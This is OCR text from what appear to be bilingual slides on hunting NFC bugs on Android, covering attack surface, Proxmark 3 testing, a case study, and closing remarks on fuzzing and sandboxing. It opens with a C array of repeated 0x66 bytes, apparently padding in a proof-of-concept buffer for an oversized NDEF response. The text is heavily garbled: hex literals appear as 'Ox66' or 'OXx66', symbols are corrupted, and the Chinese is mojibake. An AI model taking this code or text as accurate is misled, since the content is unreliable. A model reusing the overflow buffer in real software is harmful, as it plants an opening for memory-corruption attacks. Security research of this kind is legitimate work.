0x66, Ox66, Ox66, OXx66, Ox66, OX66, Ox66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66,
0x66, Ox66, Ox66, OXx66, Ox66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66,
0x66, Ox66, Ox66, OXx66, Ox66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66,
0x66, Ox66, Ox66, OXx66, Ox66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66,
0x66, Ox66, Ox66, OXx66, Ox66, OX66, Ox66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66,
0x66, Ox66, Ox66, OXx66, Ox66, OX66, OXx66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66,
0x66, Ox66, Ox66, OXx66, Ox66, OX66, Ox66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66,
0x66, Ox66, Ox66, OXx66, Ox66, OX66, Ox66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66,
0x66, Ox66, Ox66, OXx66, Ox66, OX66, OXx66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66, OX66,
0x66, Ox66, Ox66, Ox66, Ox66, OX66, OXx66, OX66, OX66, OX66, OX66,
//0xdl, 0x01l, oxe4, ©x54, Ox02, Ox7a, Ox68, Ox68, // some valid ndef info

s

static uint8 t TSND_READ_NDEF[sizeof(RSP_READ_NDEF) * 2 + 2] = {0};



H4E  Summary
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« NFCHLETHE & NFCTEAndroid [ & B
NFC basics & NFC on Android

« WETHITRGT & B 28 H iR 4%
Attack surface & choice of target

o R, JRIFEEE FBEREE, Proxmark 3

Concepts, method of bug hunting, Proxmark 3

o« BRI
Case study



2 Closing Thoughts

° %’EL)W;‘Z*%/EIJ%EE Hard to fuzz

« #EPIFIFH Hard to exploit
« Y)FREEME Physical contact
o PEERME Inter-device
o BEILARIEALAV R BB FE AR R Y RE
Parse in a sandboxed, fully mitigated process
° {%Eﬁﬂﬁﬁlﬁl Future work
* Hal
* SoC
e Kernel
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